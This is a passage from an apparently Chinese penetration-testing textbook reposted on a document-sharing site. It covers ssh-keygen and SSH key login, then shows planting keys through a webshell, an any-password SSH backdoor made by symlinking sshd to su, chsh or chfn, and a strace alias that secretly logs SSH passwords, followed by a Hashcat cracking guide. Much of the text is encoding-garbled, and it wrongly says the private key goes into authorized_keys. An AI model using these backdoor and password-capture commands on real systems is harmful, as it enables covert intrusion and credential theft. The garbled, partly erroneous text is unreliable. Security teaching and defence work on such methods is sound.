基于公開密鑰的認(rèn)證過程身份認(rèn)證和加密就不同了,主要用戶來(lái)鑒別用戶的真?zhèn)?。只要能夠鑒別一個(gè)用戶的私鑰,就可以鑒別這個(gè)用戶的真?zhèn)巍?.公鑰、私鑰、證書的生成(1)一個(gè)HTTPS服務(wù)器首先創(chuàng)建自己的密鑰對(duì)(keypair),包含公鑰和私鑰。(2)通過網(wǎng)絡(luò)把公鑰送到CA中心,公鑰中包含了個(gè)人鑒別信息(名字、地址、所用設(shè)備的序列號(hào)等)。(3)?CA中心創(chuàng)建并簽署一個(gè)包含公鑰及個(gè)人信息的證書,從而保證密鑰的確實(shí)性。(4)使用該證書的用戶可以通過檢驗(yàn)CA中心的簽名(檢驗(yàn)CA簽名需要CA的公鑰)來(lái)驗(yàn)證證書的確實(shí)性。6.公鑰、私鑰、證書的使用在HTTPS協(xié)議的握手階段是公鑰、私鑰、證書的典型使用場(chǎng)景。HTTPS握手的典型時(shí)序圖如圖5-49所示。圖中實(shí)線部分是必須的,虛線部分是可選的。該流程完成了兩個(gè)任務(wù):服務(wù)器身份的驗(yàn)證和加密傳輸對(duì)稱加密密鑰。5.6.2使用ssh-keygen生成公私鑰1.?ssh-keygen使用參數(shù)介紹ssh-keygen官方定義為生成、管理和轉(zhuǎn)換認(rèn)證密鑰,使用“manssh-keygen”可以獲取其詳細(xì)的使用幫助信息。(1)原始參數(shù)。ssh-keygen[-q][-bbits][-tdsa|ecdsa|ed25519|rsa|rsa1][-Nnew_passphrase][-Ccomment][-foutput_keyfile]ssh-keygen-p[-Pold_passphrase][-Nnew_passphrase][-fkeyfile]ssh-keygen-i[-mkey_format][-finput_keyfile]ssh-keygen-e[-mkey_format][-finput_keyfile]ssh-keygen-y[-finput_keyfile]ssh-keygen-c[-Ppassphrase][-Ccomment][-fkeyfile]ssh-keygen-l[-v][-Efingerprint_hash][-finput_keyfile]ssh-keygen-B[-finput_keyfile]ssh-keygen-Dpkcs11ssh-keygen-Fhostname[-fknown_hosts_file][-l]ssh-keygen-H[-fknown_hosts_file]ssh-keygen-Rhostname[-fknown_hosts_file]ssh-keygen-rhostname[-finput_keyfile][-g]ssh-keygen-Goutput_file[-v][-bbits][-Mmemory][-Sstart_point]ssh-keygen-Toutput_file-finput_file[-v][-arounds][-Jnum_lines][-jstart_line][-Kcheckpt][-Wgenerator]ssh-keygen-sca_key-Icertificate_identity[-h][-nprincipals][-Ooption][-Vvalidity_interval][-zserial_number]file...ssh-keygen-L[-finput_keyfile]ssh-keygen-Assh-keygen-k-fkrl_file[-u][-sca_public][-zversion_number]file...ssh-keygen-Q-fkrl_filefile...(2)參數(shù)解讀。-B:顯示指定的公鑰/私鑰文件的bubblebabble摘要。-bbits:指定生成密鑰的長(zhǎng)度。對(duì)于RSA密鑰,最小要求1024位,默認(rèn)是2048位。一般來(lái)講2048位是足夠的。DSA密鑰必須恰好是1024位(FIPS186-2標(biāo)準(zhǔn)的要求)。ECDSA密鑰將會(huì)從256、384、521位中進(jìn)行選擇。例如生成384位的ECDSA密鑰:ssh-keygen-tECDSA-b384。-Ccomment:提供一個(gè)新注釋。-c:要求修改私鑰和公鑰文件中的注釋。-Dpkcs11:下載PKCS#11接口的RSA公鑰,舊參數(shù)是reader,下載存儲(chǔ)在智能卡reader里的RSA公鑰。-E:指紋哈希算法,指定顯示的指紋算法,默認(rèn)是sha256,可以指定為md5或者sha256。-e:讀取OpenSSH的私鑰或公鑰文件,并默認(rèn)以RFC4716SSH公鑰文件格式在控制臺(tái)上顯示出來(lái),可以配合?-m參數(shù)使用。-m私鑰格式:為i(導(dǎo)入)或e(導(dǎo)出)轉(zhuǎn)換選項(xiàng)指定密鑰格式。-F主機(jī)名:在known_hosts文件中搜索指定的hostname,并列出所有的匹配項(xiàng)。-ffilename:指定密鑰文件名。-Goutput_file:為DH-GEX產(chǎn)生候選素?cái)?shù)。-g:在使用“-r”命令打印指紋資源記錄的時(shí)候使用通用的DNS格式。-H:對(duì)known_hosts文件進(jìn)行散列計(jì)算。-h:在簽署密鑰時(shí),創(chuàng)建主機(jī)證書而不是用戶證書。-i:讀取未加密的SSH-2兼容的通過?-m選擇指定格式的私鑰/公鑰文件,然后在stdout顯示OpenSSH兼容的私鑰/公鑰,該選項(xiàng)主要用于從多種商業(yè)版本的SSH中導(dǎo)入密鑰。-Jnum_lines:使用“-T”選項(xiàng)執(zhí)行DH候選篩選后篩選指定行數(shù)之后退出。-jstart_line:使用?-T選項(xiàng)執(zhí)行DH候選篩選時(shí),在指定行號(hào)開始篩選。-Kcheckpt:當(dāng)使用?-T選項(xiàng)執(zhí)行DH篩選處理checkpt文件的最后一行。-k:生成KRL文件。在這個(gè)模式中,通過“-f”標(biāo)志每一個(gè)密鑰或證書撤銷命令行上ssh-keygen將在指定的位置產(chǎn)生一個(gè)KRL文件,要撤消的鍵或證書可以由公鑰文件指定,也可以使用鍵撤銷列表部分中描述的格式。-L:打印一個(gè)或多個(gè)證書的內(nèi)容。-I:顯示公鑰文件的指紋數(shù)據(jù)。它也支持RSA1的私鑰。-Mmemory:指定在生成DH-GEXS候選素?cái)?shù)的時(shí)候最大內(nèi)存用量(MB)。-Nnew_passphrase:提供一個(gè)新的密語(yǔ)。-nprincipals:指定一個(gè)或多個(gè)主體(用戶或主機(jī)名),以便在簽署密鑰時(shí)將其包含在證書中。-Ooption:在簽名密鑰時(shí)指定證書選項(xiàng)。Clear:清除所啟用的權(quán)限。force-command=command強(qiáng)制執(zhí)行命令,而不是當(dāng)證書用于身份驗(yàn)證時(shí)由用戶指定的任何shell或命令。no-agent-forwarding:禁用SSH代理轉(zhuǎn)發(fā)(默認(rèn)值是允許的)。no-port-forwarding:禁用端口轉(zhuǎn)發(fā)(默認(rèn)值是允許的)。no-pty:禁用PTY分配(默認(rèn)允許)。no-user-rc:禁用通過sshd執(zhí)行~/.ssh/rc(默認(rèn)允許)。no-x11-forwarding:禁用X11轉(zhuǎn)發(fā)(默認(rèn)允許)。permit-agent-forwarding:允許ssh-agent轉(zhuǎn)發(fā)。permit-port-forwarding:允許端口轉(zhuǎn)發(fā)。permit-pty:允許PTY分配。permit-user-rc:允許通過sshd執(zhí)行~/.ssh/rc。permit-x11-forwarding:允許X11轉(zhuǎn)發(fā)。source-address=address_list:限制被認(rèn)為有效的證書的源地址。-ossh-keygen:使用新的OpenSSH格式而不是更兼容PEM格式保存私鑰。-Ppassphrase:提供(舊)密語(yǔ)。-p:要求改變某私鑰文件的密語(yǔ)而不重建私鑰。-Q:在KRL里面測(cè)試是否取消了證書。-qssh-keygen:安靜模式。-Rhostname:從known_hosts文件中刪除所有屬于hostname的密鑰。-rhostname:打印名為hostname的公鑰文件的SSHFP指紋資源記錄。-Sstart:指定在生成DH-GEX候選模數(shù)時(shí)的起始點(diǎn)(16進(jìn)制)。-sca_key:使用指定的CA證書驗(yàn)證(簽名)公鑰。-Toutput_file:測(cè)試Diffie-Hellmangroupexchange候選素?cái)?shù)(由?-G選項(xiàng)生成)的安全性。-tdsa|ecdsa|ed25519|rsa|rsa1:指定要?jiǎng)?chuàng)建的密鑰類型。-u:更新一個(gè)KRL。-Vvalidity_interval:在簽署證書時(shí)指定有效間隔。-v:詳細(xì)模式。-Wgenerator:指定在為DH-GEX測(cè)試候選模數(shù)時(shí)想要使用的generator。-y:讀取OpenSSH專有格式的公鑰文件,并將OpenSSH公鑰顯示在標(biāo)準(zhǔn)輸出上。-zserial_number:指定要嵌入到證書中的序列號(hào),以便將該證書與其他證書從同一CA中區(qū)分。2.使用ssh-keygen生成密鑰的相關(guān)理論知識(shí)一般說來(lái),如果用戶希望使用RSA或DSA認(rèn)證,那么至少應(yīng)該運(yùn)行一次ssh-keygen程序,在?~/.ssh/identity、~/.ssh/id_dsa或?~/.ssh/id_rsa文件中創(chuàng)建認(rèn)證所需的密鑰。另外,系統(tǒng)管理員還可以用它產(chǎn)生主機(jī)密鑰。通常這個(gè)程序會(huì)產(chǎn)生一個(gè)密鑰對(duì),并要求指定一個(gè)文件存放私鑰,同時(shí)將公鑰存放在附加了pub后綴的同名文件中。程序同時(shí)要求輸入一個(gè)密語(yǔ)字符串(passphrase),空表示沒有密語(yǔ)(主機(jī)密鑰的密語(yǔ)必須為空)。密語(yǔ)和口令(password)非常相似,但是密語(yǔ)可以是一句話,里面有單詞、標(biāo)點(diǎn)符號(hào)、數(shù)字、空格或任何你想要的字符。密語(yǔ)可以用“-p”選項(xiàng)修改。丟失的密語(yǔ)不可恢復(fù),如果丟失或忘記了密語(yǔ),用戶必須產(chǎn)生新的密鑰,然后把相應(yīng)的公鑰分發(fā)到其他機(jī)器上去。RSA1的密鑰文件中有一個(gè)"注釋"字段,可以方便用戶標(biāo)識(shí)這個(gè)密鑰,指出密鑰的用途或其他有用的信息。創(chuàng)建密鑰的時(shí)候,注釋域初始化為?"user@host",以后可以用-c選項(xiàng)修改。創(chuàng)建過程分為兩步:首先,使用一個(gè)快速且消耗內(nèi)存較多的方法生成一些候選素?cái)?shù)。然后,對(duì)這些素?cái)?shù)進(jìn)行適應(yīng)性測(cè)試(消耗CPU較多)??梢允褂?-G選項(xiàng)生成候選素?cái)?shù),同時(shí)使用?-b選項(xiàng)制定其位數(shù)。例如:#ssh-keygen-Gmoduli-2048.candidates-b2048默認(rèn)從指定位數(shù)范圍內(nèi)的一個(gè)隨機(jī)點(diǎn)開始搜索素?cái)?shù),不過可以使用?-S選項(xiàng)來(lái)指定這個(gè)隨機(jī)點(diǎn)(十六進(jìn)制)。生成一組候選數(shù)之后,接下來(lái)就需要使用?-T選項(xiàng)進(jìn)行適應(yīng)性測(cè)試。此時(shí)ssh-keygen將會(huì)從stdin讀取候選素?cái)?shù)(或者通過?-f選項(xiàng)讀取一個(gè)文件),例如:#ssh-keygen-Tmoduli-2048-fmoduli-2048.candidates每個(gè)候選素?cái)?shù)默認(rèn)都要通過100個(gè)基本測(cè)試(可以通過?-a選項(xiàng)修改)。DHgenerator的值會(huì)自動(dòng)選擇,但是你也可以通過?-W選項(xiàng)強(qiáng)制指定。有效的值可以是2、3、5。經(jīng)過篩選之后的DHgroups就可以存放到?/etc/ssh/moduli里面了。重要的一點(diǎn)是這個(gè)文件必須包括不同長(zhǎng)度范圍的模數(shù),而且通信雙方共享相同的模數(shù)。~/.ssh/identity該用戶默認(rèn)的RSA1身份認(rèn)證私鑰(SSH-1)。~/.ssh/identity.pub該用戶默認(rèn)的RSA1身份認(rèn)證公鑰(SSH-1)。~/.ssh/id_dsa該用戶默認(rèn)的DSA身份認(rèn)證私鑰(SSH-2)。~/.ssh/id_dsa.pub該用戶默認(rèn)的DSA身份認(rèn)證公鑰(SSH-2)。~/.ssh/id_rsa該用戶默認(rèn)的RSA身份認(rèn)證私鑰(SSH-2)。~/.ssh/id_rsa.pub該用戶默認(rèn)的RSA身份認(rèn)證公鑰(SSH-2)。3.生成rsa公私鑰密鑰對(duì)在本機(jī)使用命令執(zhí)行ssh-keygen-trsa,將會(huì)生成id_rsa和id_rsa.pub公私鑰文件。ssh-keygen-tdsa:將會(huì)生成id_dsa和id_dsa.pub公私鑰文件。ssh-keygen-tecdsa:將會(huì)生成id_ecdsa和id_ecdsa.pub公私鑰文件。ssh-keygen-ted25519:將會(huì)生成id_ed25519和id_ed25519.pub公私鑰文件。5.6.3滲透之公鑰利用ssh免密碼登錄是利用ssh-keygen命令生成公鑰和私鑰,將私鑰復(fù)制到對(duì)方服務(wù)器/root/.ssh或者/home/username/.ssh目錄下的authorized_keys,同時(shí)設(shè)置authorized_keys文件權(quán)限為600,.ssh文件夾權(quán)限為700,在登錄時(shí)直接輸入對(duì)方服務(wù)器的IP地址進(jìn)行登錄。環(huán)境配置情況如下:服務(wù)器A的IP地址為33,主機(jī)名稱是Kali2016服務(wù)器B的IP地址為31,主機(jī)名稱是Kali20171.單一服務(wù)器免登錄條件:服務(wù)器A(kali2016)免密碼登錄服務(wù)器B(kali2017)。(1)服務(wù)器B執(zhí)行命令:cd/root/mkdir.ssh(2)服務(wù)器B執(zhí)行命令:ssh-keygen-trsascp/root/.ssh/id_rsa.pubroot@31:/root/.ssh/authorized_keys(3)服務(wù)器B執(zhí)行命令:chmod600/root/.ssh/authorized_keyschmod700-R/root/.ssh(4)服務(wù)器A上直接登錄服務(wù)器B執(zhí)行命令:sshroot@31或者ssh312.服務(wù)器相互登錄(1)分別在A和B服務(wù)器上執(zhí)行ssh-keygen-trsa。(2)將A和B服務(wù)器上面的公鑰文件id_rsa.pub生成到authorized_keys。A服務(wù)器上執(zhí)行復(fù)制公鑰到B服務(wù)器上操作:scp/root/.ssh/id_rsa.pubroot@31:/root/.ssh/authorized_keysB服務(wù)器上執(zhí)行復(fù)制公鑰到A服務(wù)器上操作scp/root/.ssh/id_rsa.pubroot@33:/root/.ssh/authorized_keys(3)分別在A和B服務(wù)器上設(shè)置目錄及文件權(quán)限。chmod600/root/.ssh/authorized_keyschmod700-R/root/.ssh(4)服務(wù)器B和服務(wù)器A相互間免密碼登錄。3.通過structs等漏洞或者通過提權(quán)獲取root權(quán)限情況(1)可以通過工具軟件或者Webshell將本地的id_rsa.pub復(fù)制到33服務(wù)器上,并將該文件重命名或者cat到authorized_keys。(2)?catid_rsa.pub>>/root/.ssh/authorized_keys,如果沒有創(chuàng)建.ssh文件夾,則需要先創(chuàng)建,其他步驟跟上面相同。4.使用ssh-copy-id命令復(fù)制公鑰到服務(wù)器ssh-copy-id命令可以把本地主機(jī)的公鑰復(fù)制到遠(yuǎn)程主機(jī)的authorized_keys文件中,ssh-copy-id命令也會(huì)給遠(yuǎn)程主機(jī)的用戶主目錄(home)、~/.ssh和~/.ssh/authorized_keys設(shè)置合適的權(quán)限,前提條件是知道雙方服務(wù)器的root或者其他賬號(hào)密碼,其命令格式如下:ssh-copy-id-i~/.ssh/id_rsa.pubuser@server(1)從服務(wù)器A將公鑰復(fù)制到服務(wù)器B上。ssh-copy-id-i/root/.ssh/id_rsa.pubroot@31(2)從服務(wù)器B將公鑰復(fù)制到服務(wù)器A上。ssh-copy-id-i/root/.ssh/id_rsa.pubroot@33執(zhí)行效果如圖5-50所示,需要確認(rèn)是否輸入,輸入yes,然后輸入登錄服務(wù)器的對(duì)應(yīng)賬號(hào)密碼,即可將本地服務(wù)器的公鑰上傳到對(duì)方服務(wù)器上。(3)?sshroot@33或者sshroot@31直接免密碼登錄服務(wù)器,如圖5-51所示,不需要輸入密碼便可直接登錄服務(wù)器。5.設(shè)定客戶端連接使用的ssh私鑰和公鑰vim/etc/ssh/ssh_config找到#IdentityFile~/.ssh/identity#IdentityFile~/.ssh/id_rsa#IdentityFile~/.ssh/id_dsa把前面的#去掉,然后在IdentityFile后填寫用來(lái)執(zhí)行SSH時(shí)所用的密鑰。5.6.4滲透之SSH后門1.免密碼登錄SSH后門通過滲透得到shell后,發(fā)現(xiàn)對(duì)方防火墻沒限制,可以快速開放一個(gè)可以訪問的SSH端口,用戶名為root、bin、ftp和mail,并以任意密碼登錄:ln-sf/usr/sbin/sshd/tmp/su;/tmp/su-oPort=31337;例如在33上執(zhí)行l(wèi)n-sf/usr/sbin/sshd/tmp/su;/tmp/su-oPort=31337;登錄33執(zhí)行以下命令,如圖5-52所示。sshroot@33sshbin@33sshftp@33sshmail@33圖5-52免密碼登錄SSH后門2.?SSH免密碼后門登錄注意事項(xiàng)(1)?Linux軟連接SSH后門需要SSH配置允許PAM認(rèn)證后才能使用。(2)如果被控主機(jī)不允許root登錄可用其他已存在用戶登錄。(3)通過軟連接的方式,實(shí)質(zhì)上PAM認(rèn)證的是通過軟連接的文件名(如:/tmp/su,/home/su)在/etc/pam.d/目錄下尋找對(duì)應(yīng)的PAM配置文件(如:/etc/pam.d/su)。(4)任意密碼登錄的核心是authsufficientpam_rootok.so,只要PAM配置文件中包含此配置即可SSH任意密碼登錄,實(shí)踐表明,可成功利用的PAM配置文件除了su還有chsh、chfn,執(zhí)行命令find./|xargsgrep"pam_rootok"獲取。同類的還有chsh和chfn也可以建立SSH后門:ln-sf/usr/sbin/sshd/tmp/chsh;/tmp/chsh-oport=12346ln-sf/usr/sbin/sshd/tmp/chfn;/tmp/chfn-oport=123473.?strace記錄SSH密碼apt-getinstallstracevi~/.bashrc在其中加入aliasssh='strace-o/tmp/.sshpwd-`date'+%d%h%m%s'`.log-s2048ssh'通過查看/tmp/的log文件來(lái)獲取記錄的密碼:cat.sshpwd-17May051494975433.log|egrep"(read\(4).*\)"5.6.5安全防范(1)對(duì)?/root/.ssh/authorized_keys或者?/home/user/.ssh/authorized_keys文件內(nèi)容進(jìn)行檢查,其中出現(xiàn)非管理員或者本機(jī)用戶的內(nèi)容即為入侵者留下的。(2)對(duì)known_hosts文件進(jìn)行時(shí)間和內(nèi)容檢查。(3)查看?.ssh目錄下的文件生成時(shí)間和文件內(nèi)容。
第七節(jié)Hashcat密碼破解
5.7.1準(zhǔn)備工作(1)?KaliLinux操作系統(tǒng)或者虛擬機(jī)。(2)?Windows7操作系統(tǒng)或者虛擬機(jī)。(3)準(zhǔn)備字典。(4)新建用戶。(5)下載saminside。(6)字典合并及排序處理。5.7.2Hashcat軟件使用參數(shù)1.?hashcat使用參數(shù)直接運(yùn)行hashcat(分為32和64位版本)會(huì)提示使用參數(shù):Usage:hashcat64[options]...hash|hashfile|hccapxfile[dictionary|mask|directory]...也即hashcat[選項(xiàng)]破解的哈希值或hash文件、hccapx文件[字典|掩碼|目錄]...Hccapxfile對(duì)應(yīng)無(wú)線包,其對(duì)應(yīng)破解哈希類型為"-m2500=WPA/WPA2"。2.查看幫助可以使用hashcat--help>help.txt來(lái)參考具體的參數(shù)使用幫助。3.選項(xiàng)(1)普通:-m, --hash-type=NUM哈希類別,其NUM值參考其幫助信息下面的哈希類別值,其值為數(shù)字。-a, --attack-mode=NUM攻擊模式,其值參考后面對(duì)參數(shù)?!?a0”字典攻擊;“-a1”組合攻擊;“-a3”掩碼攻擊-V, —version版本信息-h, --help幫助信息--quiet 安靜的模式,抑制輸出(2)基準(zhǔn)測(cè)試:-b, --benchmark測(cè)試計(jì)算機(jī)破解速度和顯示硬件相關(guān)信息(3)雜項(xiàng):--hex-salt salt值是用十六進(jìn)制給出的--hex-charset 設(shè)定字符集是十六進(jìn)制給出--runtime=NUM 運(yùn)行數(shù)秒(NUM值)后的中止會(huì)話--status 啟用狀態(tài)屏幕的自動(dòng)更新--status-timer=NUM 狀態(tài)屏幕更新秒值--status-automat 以機(jī)器可讀的格式顯示狀態(tài)視圖--session 后跟會(huì)話名稱,主要用于中止任務(wù)后的恢復(fù)破解(4)文件:-o,--outfile=FILE 定義哈希文件恢復(fù)輸出文件--outfile-format=NUM 定義哈希文件輸出格式,見下面的參考資料--outfile-autohex-disable 禁止使用十六進(jìn)制輸出明文-p,--separator=CHAR 為哈希列表/輸出文件定義分隔符字符--show 僅顯示已經(jīng)破解的密碼--left 僅顯示未破解的密碼--username 忽略hash表中的用戶名,對(duì)Linux文件直接進(jìn)行破解,不需要進(jìn)行整理。--remove 移除破解成功的hash,當(dāng)hash是從文本中讀取時(shí)有用,避免自己手工移除已經(jīng)破解的hash--stdout 控制臺(tái)模式--potfile-disable 不寫入pot文件--debug-mode=NUM 定義調(diào)試模式(僅通過使用規(guī)則進(jìn)行混合),參見下面的參考資料--debug-file=FILE 調(diào)試規(guī)則的輸出文件(請(qǐng)參閱調(diào)試模式)-e,--salt-file=FILE定義加鹽文件列表--logfile-disable 禁止logfile(5)資源:-c,--segment-size=NUM字典文件緩存大小(M)-n,--threads=NUM線程數(shù)-s,--words-skip=NUM跳過單詞數(shù)-l,--words-limit=NUM限制單詞數(shù)(分布式)(6)規(guī)則:-r,--rules-file=FILE使用規(guī)則文件:-r1.rule,-g,--generate-rules=NUM隨機(jī)生成規(guī)則--generate-rules-func-min=每個(gè)隨機(jī)規(guī)則最小值--generate-rules-func-max=每個(gè)隨機(jī)規(guī)則最大值--generate-rules-seed=NUM強(qiáng)制RNG種子數(shù)(7)自定義字符集:-1,--custom-charset1=CS用戶定義的字符集1-2,--custom-charset2=CS用戶定義的字符集2-3,--custom-charset3=CS--custom-charset1=?dabcdef:設(shè)置?1為0123456789abcdef-4,--custom-charset4=CS-2mycharset.hcchr:設(shè)置?2包含在mycharset.hcchr文件(8)攻擊模式。大小寫轉(zhuǎn)換攻擊:--toggle-min=NUM在字典中字母的最小值--toggle-max=NUM在字典中字母的最大值*使用掩碼攻擊模式:--increment使用增強(qiáng)模式--increment-min=NUM增強(qiáng)模式開始值--increment-max=NUM增強(qiáng)模式結(jié)束值*排列攻擊模式:--perm-min=NUM過濾比NUM數(shù)小的單詞--perm-max=NUM過濾比NUM數(shù)大的單詞*查找表攻擊模式:-t,--table-file=FILE表文件--table-min=NUM在字典中的最小字符值--table-max=NUM在字典中的最大字符值*打印攻擊模式:--pw-min=NUM如果長(zhǎng)度大于NUM,則打印候選字符--pw-max=NUM如果長(zhǎng)度小于NUM,則打印候選字符--elem-cnt-min=NUM每個(gè)鏈的最小元素?cái)?shù)--elem-cnt-max=NUM每個(gè)鏈的最大元素?cái)?shù)--wl-dist-len從字典表中計(jì)算輸出長(zhǎng)度分布--wl-max=NUM從字典文件中加載NUM個(gè)單詞,設(shè)置0禁止加載--case-permute在字典中對(duì)每一個(gè)單詞進(jìn)行反轉(zhuǎn)5.7.3密碼破解推薦原則1.密碼破解推薦原則破解時(shí)采取先易后難的原則,建議如下:(1)利用收集的公開字典進(jìn)行破解。(2)使用1~8位數(shù)字進(jìn)行破解。(3)使用1~8位小寫字母進(jìn)行破解。(4)使用1~8位大寫字母進(jìn)行破解。(5)使用1~8位混合大小寫?+?數(shù)字?+?特殊字符進(jìn)行破解。2.?hashcat破解規(guī)則(1)字典攻擊。-a0password.lst(2)?1到8位數(shù)字掩碼攻擊。-a3--increment--increment-min1--increment-max8?d?d?d?d?d?d?d?d-O?d代表數(shù)字,可以換成小寫字母??l,大寫字母??u,特殊字符??s,大小寫字母?+?特殊字符??a,–O表示最優(yōu)化破解模式,可以加該參數(shù),也可以不加該參數(shù)。(3)?8位數(shù)字攻擊。-a3?d?d?d?d?d?d?d?d同理可以根據(jù)位數(shù)設(shè)置為大寫字母、小寫字母、特殊字符等模式。(4)自定義字符?,F(xiàn)在純數(shù)字或者純字母的密碼是比較少見的,根據(jù)密碼專家對(duì)泄漏密碼的分析,90%的個(gè)人密碼是字母和數(shù)字的組合,可以使用自定義字符來(lái)進(jìn)行暴力破解,Hashcat支持4個(gè)自定義字符集,分別是-1-2-3-4。(5)字典?+?掩碼暴力破解。Hashcat還支持一種字典加暴力的破解方法,就是在字典前后再加上暴力的字符序列,比如在字典后面加上3為數(shù)字,這種密碼是很常見
溫馨提示
- 1. 本站所有資源如無(wú)特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 隨機(jī)微分方程穩(wěn)定性-洞察分析
- 2025年滬科版八年級(jí)生物下冊(cè)月考試卷
- 2025年外研版三年級(jí)起點(diǎn)九年級(jí)生物下冊(cè)月考試卷
- 2025年冀教新版九年級(jí)生物上冊(cè)月考試卷
- 2025年人教五四新版九年級(jí)地理下冊(cè)月考試卷含答案
- 2025年滬科版九年級(jí)地理上冊(cè)月考試卷
- 2025年跨境電商箱包進(jìn)出口購(gòu)銷合同規(guī)范文本3篇
- 二零二五年度智能倉(cāng)儲(chǔ)車間承包合同4篇
- 膝陽(yáng)關(guān)損傷機(jī)制探究-洞察分析
- 2025年度博物館展覽陳列項(xiàng)目管理合同4篇
- 2024版智慧電力解決方案(智能電網(wǎng)解決方案)
- 公司SWOT分析表模板
- 小學(xué)預(yù)防流行性感冒應(yīng)急預(yù)案
- 肺癌術(shù)后出血的觀察及護(hù)理
- 聲紋識(shí)別簡(jiǎn)介
- 生物醫(yī)藥大數(shù)據(jù)分析平臺(tái)建設(shè)-第1篇
- 基于Android的天氣預(yù)報(bào)系統(tǒng)的設(shè)計(jì)與實(shí)現(xiàn)
- 沖鋒舟駕駛培訓(xùn)課件
- 美術(shù)家協(xié)會(huì)會(huì)員申請(qǐng)表
- 聚合收款服務(wù)流程
- 中石化浙江石油分公司中石化溫州靈昆油庫(kù)及配套工程項(xiàng)目環(huán)境影響報(bào)告書
評(píng)論
0/150
提交評(píng)論